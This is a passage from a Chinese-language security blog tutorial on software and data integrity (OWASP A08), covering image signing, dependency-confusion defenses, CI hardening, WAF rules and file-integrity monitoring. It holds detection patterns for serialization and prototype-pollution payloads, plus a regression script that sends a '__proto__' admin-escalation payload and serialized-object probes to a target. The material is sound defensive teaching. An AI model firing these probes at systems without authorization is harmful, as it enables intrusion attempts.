# 5. 在 K8s 中强制校验(用 policy-controller 或 Kyverno)
# Kyverno 策略示例:只运行已签名的镜像
yaml
# Kyverno 策略:拒绝未签名的镜像
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
spec:
  validationFailureAction: Enforce    # 强制拒绝(而非仅告警)
  background: false
  rules:
    - name: check-signature
      match:
        any:
          - resources:
              kinds:
                - Pod
      verifyImages:
        - imageReferences:
            - "myregistry/*"
          attestors:
            - entries:
                - keys:
                    publicKeys: |
                      -----BEGIN PUBLIC KEY-----
                      <cosign.pub 内容>
                      -----END PUBLIC KEY-----

应用内更新包的签名校验

java
// 客户端更新:下载后必须验签才能安装
public class SecureUpdater {

    private static final String UPDATE_PUBLIC_KEY = "...";  // 内置公钥

    public void applyUpdate(String downloadUrl, String signatureUrl) throws Exception {
        // 1. 下载更新包
        byte[] packageBytes = downloadFile(downloadUrl);

        // 2. 下载签名
        byte[] signature = downloadFile(signatureUrl);

        // 3. 【关键】验证签名 —— 必须在解压/执行之前
        if (!verifySignature(packageBytes, signature)) {
            // 签名无效 → 立即中止,并记录安全事件
            logSecurityEvent("UPDATE_SIGNATURE_INVALID", downloadUrl);
            throw new SecurityException("更新包签名验证失败,已拒绝安装");
        }

        // 4. 额外校验哈希(可选,双保险)
        String expectedHash = fetchExpectedHash();
        String actualHash = sha256(packageBytes);
        if (!expectedHash.equals(actualHash)) {
            throw new SecurityException("更新包哈希不匹配");
        }

        // 5. 签名有效才解压安装
        install(packageBytes);
    }

    private boolean verifySignature(byte[] data, byte[] signature) throws Exception {
        Signature sig = Signature.getInstance("SHA256withRSA");
        sig.initVerify(loadPublicKey(UPDATE_PUBLIC_KEY));
        sig.update(data);
        return sig.verify(signature);
    }
}

Go 模块的校验和数据库

bash
# Go 的 sum.golang.org 是防篡改的透明日志,可以校验模块完整性
# 确保 GONOSUMDB / GONOSUMCHECK 没有禁用校验

export GOSUMDB=sum.golang.org
export GOFLAGS=-mod=readonly

# 验证所有依赖
go mod verify

# 若需要私有模块,用 GONOSUMDB 指定跳过(但要知道这是在降低安全性)
export GONOSUMDB="*.company.internal"
export GOPRIVATE="*.company.internal"

依赖混淆防护:scope + 私有源

bash
# ===== npm: 强制 scope 走私有源 =====
# .npmrc
@company:registry=https://npm.internal.company.com/
//npm.internal.company.com/:_authToken=${NPM_TOKEN}
always-auth=true

# 关键点:
#   - 所有私有包都使用 @company/ 前缀(scope)
#   - .npmrc 中强制该 scope 只从私有源解析
#   - 这样即使公共源上有同名包,也不会被误装

# ===== 额外防护:抢注公共包名 =====
# 在 npm/PyPI 上抢注公司的私有包名(发布一个空的或说明性的包)
# 成本极低,收益极高

# ===== 使用锁文件(关键)=====
# package-lock.json 记录了每个包的【解析来源】和【完整性哈希】
npm ci    # 严格按 lock 文件安装,会校验 integrity 字段

# lock 文件中的 integrity 字段示例:
# "integrity": "sha512-xxx..."
# 这保证了即使源被污染,hash 不匹配也会安装失败
ini
# ===== Python: 强制私有源 + hash 校验 =====
# pip.conf
[global]
index-url = https://pypi.internal.company.com/simple
extra-index-url = https://pypi.org/simple
# ⚠️ extra-index-url 有风险:pip 会从所有源中找版本最高的
# 更安全:只用一个聚合源(如 Nexus/Artifactory 代理所有上游)

# 生成带 hash 的 requirements
pip-compile --generate-hashes requirements.in -o requirements.txt

# 安装时校验
pip install --require-hashes -r requirements.txt

💡 踩坑提示extra-index-url 是依赖混淆的温床 —— pip 会在所有配置的源里找版本最高的包,攻击者只需在 PyPI 上发一个更高版本号的同名包就能劫持。正确做法是用一个私有仓库代理所有上游源(Nexus / Artifactory / 云厂商的制品库),客户端只配一个源。

CI/CD 加固:保护「签名」这个动作本身

GitHub Actions 安全实践

yaml
# ===== 安全的 workflow 配置 =====
name: Secure Build

on:
  push:
    branches: [main]
  # ❌ 不要用 pull_request_target 检出并执行 PR 代码
  pull_request:
    branches: [main]

# 关键 1:最小权限原则
permissions:
  contents: read      # 只读代码
  # 默认不给写权限(默认是 write,非常危险!)

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      # 关键 2:固定 action 到完整 commit SHA,而非可变标签
      # ❌ uses: actions/checkout@v4        (标签可被移动)
      # ✅ uses: actions/checkout@<SHA>
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      # 关键 3:事件数据通过 env 传递,不直接拼进 run
      # ❌ run: echo "${{ github.event.issue.title }}"   ← 命令注入!
      - name: Process
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"      # ✅ 通过环境变量引用

      # 关键 4:secrets 不输出到日志
      - name: Use secret
        env:
          TOKEN: ${{ secrets.DEPLOY_TOKEN }}
        run: |
          # ❌ echo "token is $TOKEN"    ← 会泄露
          # GitHub 会自动掩码部分 secrets,但不要依赖它
          deploy --token-stdin <<< "$TOKEN"

      - name: Build
        run: npm ci && npm run build

      # 关键 5:为构建产物生成 SBOM
      - name: Generate SBOM
        run: syft dir:. -o cyclonedx-json > sbom.json

      # 关键 6:为产物签名
      - name: Sign artifact
        env:
          COSIGN_PASSWORD: ${{ secrets.COSIGN_PASSWORD }}
        run: |
          cosign sign-blob --key cosign.key \
            --output-signature sbom.json.sig sbom.json

      - uses: actions/upload-artifact@v4
        with:
          name: build-output
          path: |
            dist/
            sbom.json
            sbom.json.sig

  deploy:
    needs: build
    runs-on: ubuntu-latest
    # 关键 7:部署环境单独授权(需要人工审批)
    environment: production
    permissions:
      contents: read
      id-token: write     # 用于 OIDC 免密登录云厂商
    steps:
      # 关键 8:部署前验证签名
      - uses: actions/download-artifact@v4
      - name: Verify signature
        run: cosign verify-blob --key cosign.pub --signature sbom.json.sig sbom.json
      - name: Deploy
        run: ./deploy.sh

CI/CD 安全清单

【权限】
□ workflow 的 permissions 显式最小化(默认是 write,很危险)
□ 云服务用 OIDC 免密登录,不存长期 AK/SK
□ 构建环境和生产环境隔离(不同的凭据)
□ 生产部署需要人工审批(environment protection rules)

【代码引用】
□ action 固定到 commit SHA(不是 @main / @v4)
□ 依赖使用锁文件
□ 基础镜像固定到 digest(不是 :latest)

【注入防护】
□ 事件数据(issue title / PR body)不直接拼进 run
□ 不执行 PR 中未审查的代码(pull_request_target 陷阱)

【产物完整性】
□ 生成 SBOM
□ 构建产物签名(cosign)
□ 部署前验证签名
□ 记录 provenance(SLSA)

【秘密管理】
□ secrets 不打印到日志
□ 定期轮换 secrets
□ 使用 OIDC 替代长期凭据
□ 审计 secrets 的访问记录

运行时防护与文件完整性监控

WAF 规则(临时缓解)

apache
# ===== 检测 Java 序列化魔数 =====
# rO0AB 是 base64 编码的 ac ed 00 05(Java 序列化魔数)
SecRule ARGS|ARGS_NAMES|REQUEST_BODY|REQUEST_HEADERS "@rx (rO0AB|ro0ab)" \
    "id:9008001,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Java Serialized Object Detected',\
     tag:'OWASP-A08',\
     severity:'CRITICAL'"

# 检测二进制流的 Java 序列化魔数(未 base64 的情况)
SecRule REQUEST_BODY "@rx ^\xac\xed\x00\x05" \
    "id:9008002,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Java Serialization Magic Bytes in Body',\
     tag:'OWASP-A08'"

# ===== 检测 PHP 序列化特征 =====
SecRule ARGS|REQUEST_BODY "@rx [OaCs]:\d+:" \
    "id:9008003,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'PHP Serialized Object Detected',\
     tag:'OWASP-A08'"

# ===== 检测 Python pickle 特征 =====
SecRule REQUEST_BODY "@rx (^gASV|\x80\x04\x95|\x80\x05\x95)" \
    "id:9008004,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Python Pickle Data Detected',\
     tag:'OWASP-A08'"

# ===== 检测原型链污染 =====
SecRule ARGS|REQUEST_BODY "@rx (__proto__|constructor\s*\"?\s*:\s*\"?\s*\{|prototype\s*\"?\s*:)" \
    "id:9008005,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Prototype Pollution Attempt',\
     tag:'OWASP-A08'"

# ===== 检测 phar:// 伪协议 =====
SecRule ARGS|REQUEST_BODY "@rx (?i)phar://" \
    "id:9008006,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Phar Protocol Detected',\
     tag:'OWASP-A08'"

RASP 防护:参考 A06 节的 RASP 介绍。RASP 在反序列化场景下特别有效 —— 它可以在运行时检测并阻断危险的 gadget chain。

检测规则

yaml
# 完整性相关检测规则

# 规则 1:反序列化攻击尝试
- id: deserialization-attempt
  detection:
    condition: any
    rules:
      - waf_rule_hit: [9008001, 9008002, 9008003, 9008004]
      - app_log_pattern: "ObjectInputStream|InvalidClassException|ClassNotFoundException.*readObject"
  action: [alert_soc, block_ip]
  severity: critical

# 规则 2:文件完整性监控(关键服务器)
- id: file-integrity-monitoring
  detection:
    monitors:
      - path: /usr/local/bin/*
      - path: /opt/app/lib/*.jar
      - path: /etc/cron*
      - path: /root/.ssh/authorized_keys
    event: file_modified
    exclude: [deployment_window, package_update]
  action: [alert_soc, snapshot_diff]
  severity: high
  note: "非部署窗口期的二进制变更,高度可疑"

# 规则 3:CI/CD 异常
- id: cicd-anomaly
  detection:
    condition: any
    rules:
      - build_triggered_by: unknown_user
      - build_config_modified_outside_pr
      - artifact_hash_mismatch
      - signature_verification_failed
  action: [halt_pipeline, alert_sec]
  severity: critical

# 规则 4:依赖来源异常
- id: dependency-source-anomaly
  detection:
    condition: any
    rules:
      - package_downloaded_from: non_approved_registry
      - package_hash_mismatch: true
      - package_published_less_than: 7d     # 刚发布就被使用,可疑
  action: [block, alert_sec]
  severity: high

文件完整性监控工具

bash
# AIDE(Advanced Intrusion Detection Environment)—— 主机文件完整性监控
# 安装
apt install aide -y     # Debian/Ubuntu
yum install aide -y     # RHEL/CentOS

# 初始化数据库(基线)
aideinit
# 或
aide --init && mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz

# 定期检查
aide --check
# 输出所有文件的变更(新增/删除/修改)

# 配置: /etc/aide/aide.conf
# 示例规则
cat >> /etc/aide/aide.conf << 'EOF'
# 监控应用目录(任何变更都告警)
/opt/app/bin        R+a+sha256
/usr/local/bin      R+a+sha256
/etc/cron.d         R+a+sha256
/root/.ssh          R+a+sha256
# 日志目录只监控新增,不监控内容变化
/var/log            L
EOF

# 加入 crontab 每天检查
echo "0 3 * * * /usr/bin/aide --check | mail -s 'AIDE Report' sec@company.com" >> /etc/crontab

回归验证清单

bash
#!/usr/bin/env bash
# A08 完整性防护回归验证
# 用法: bash verify_integrity.sh https://target.com

TARGET="$1"
PASS=0; FAIL=0

echo "===== 1. 反序列化 payload 应被拒绝 ====="
# 生成一个无害的 Java 序列化对象(HashMap)
# rO0ABXNyABdqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAEdGVzdHEAfgACeA==
SER_B64="rO0ABXNyABdqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAEdGVzdHEAfgACeA=="

code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/api/data" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "$(echo "$SER_B64" | base64 -d)")
if [ "$code" = "403" ] || [ "$code" = "400" ]; then
  echo "[PASS] Java 序列化数据被拒绝 ($code)"; PASS=$((PASS+1))
else
  echo "[FAIL] 序列化数据返回 $code(应拒绝)"; FAIL=$((FAIL+1))
fi

# 测试几个已知的危险 gadget 特征
for pattern in "rO0AB" "aced0005" "O:4:" "gASV"; do
  code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/api/test" \
    -H "Content-Type: application/json" \
    -d "{\"data\":\"$pattern\"}")
  if [ "$code" = "403" ] || [ "$code" = "400" ]; then
    echo "[PASS] 危险模式 '$pattern' 被拦截"; PASS=$((PASS+1))
  else
    echo "[WARN] '$pattern' 返回 $code"
  fi
done

echo
echo "===== 2. 原型链污染防护 ====="
code=$(curl -s -o /dev/null -w "%{http_code}" -X POST "$TARGET/api/user/update" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","__proto__":{"isAdmin":true}}')
if [ "$code" = "400" ] || [ "$code" = "403" ]; then
  echo "[PASS] __proto__ 注入被拒绝"; PASS=$((PASS+1))
else
  echo "[WARN] __proto__ 注入返回 $code,需人工确认是否污染成功"
fi

echo
echo "===== 3. 依赖完整性(本地检查)====="
if [ -f "package-lock.json" ]; then
  # 校验所有依赖的 integrity 字段
  echo "[*] 执行 npm ci 验证依赖完整性..."
  npm ci --dry-run 2>&1 | tail -3 && \
    (echo "[PASS] 依赖完整性校验通过"; PASS=$((PASS+1))) || \
    (echo "[FAIL] 依赖完整性校验失败"; FAIL=$((FAIL+1)))
fi

echo
echo "===== 4. 镜像签名验证 ====="
if [ -n "${IMAGE:-}" ] && command -v cosign &> /dev/null; then
  cosign verify --key cosign.pub "$IMAGE" > /dev/null 2>&1 \
    && (echo "[PASS] 镜像签名验证通过"; PASS=$((PASS+1))) \
    || (echo "[FAIL] 镜像签名验证失败"; FAIL=$((FAIL+1)))
else
  echo "[SKIP] 未设置 IMAGE 或 cosign 未安装"
fi

echo
echo "===== 5. 更新包签名验证 ====="
UPDATE_URL="${UPDATE_URL:-https://update.company.com/latest.zip}"
SIG_URL="${UPDATE_URL}.sig"
# 检查签名文件是否存在
code=$(curl -s -o /dev/null -w "%{http_code}" "$SIG_URL" --max-time 8)
if [ "$code" = "200" ]; then
  echo "[PASS] 更新包提供签名文件"; PASS=$((PASS+1))
else
  echo "[FAIL] 更新包无签名文件 ($code)"; FAIL=$((FAIL+1))
fi

echo
echo "===== 6. 更新通道使用 HTTPS ====="
if echo "$UPDATE_URL" | grep -q "^https://"; then
  echo "[PASS] 更新通道使用 HTTPS"; PASS=$((PASS+1))
else
  echo "[FAIL] 更新通道使用明文 HTTP"; FAIL=$((FAIL+1))
fi

echo
echo "----------------------------------------"
echo "通过: $PASS   失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"

修复清单

  • [ ] 所有反序列化入口已加白名单校验(ObjectInputFilter / 受限 Unpickler)
  • [ ] 已用 JSON 替代原生序列化(或至少不再反序列化不可信数据)
  • [ ] fastjson 开启 safeMode
  • [ ] 递归 merge 已过滤 __proto__ / constructor / prototype
  • [ ] 更新包有签名,且客户端在安装前验签
  • [ ] 更新通道使用 HTTPS
  • [ ] 容器镜像有签名,部署前验证
  • [ ] 私有依赖使用 scope + 私有源,不在公共源暴露
  • [ ] 依赖使用锁文件,且校验 integrity hash
  • [ ] CI 权限最小化,action 固定到 commit SHA
  • [ ] 构建产物生成 SBOM 并签名
  • [ ] 关键服务器启用文件完整性监控(AIDE)
  • [ ] WAF 已配置反序列化特征拦截规则

最后:签名只能证明「谁签的」

A08 是十项里**最"体系化"**的一项 —— 它不像 SQL 注入那样有个明确的"危险函数",而是贯穿了"开发 → 构建 → 分发 → 运行"的整条链路。

核心认知就一句话:加密不保证完整性,签名才保证完整性。

几个最实际的行动项:

  1. 停止反序列化不可信数据 —— 这是根治方案。用 JSON,或加严格白名单。pickle / BinaryFormatter / unserialize() 这三个尤其危险。
  2. 所有"下载后执行"的场景都要验签 —— 自动更新、插件、容器镜像。签名必须在执行前验证,解压前就要验。
  3. 依赖用锁文件 + 私有源 scope —— 防依赖混淆,成本极低收益极高。
  4. CI 权限最小化 + action 固定 SHA + 产物签名 —— 构建管道是攻击者的高价值目标,因为它签的东西大家都信。
  5. 文件完整性监控(AIDE) —— 最后一道检测防线,能发现"已经进来了"的攻击者。

最后强调一个 SolarWinds 的核心教训:签名只能证明"谁签的",不能证明"代码是干净的"。 所以光有签名不够,还得保护签名这个动作本身 —— 也就是 CI/CD 管道的安全。这两者是一体的。


⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。

SecLab 网络安全博客 · 内容仅供安全研究与学习,请勿用于未授权活动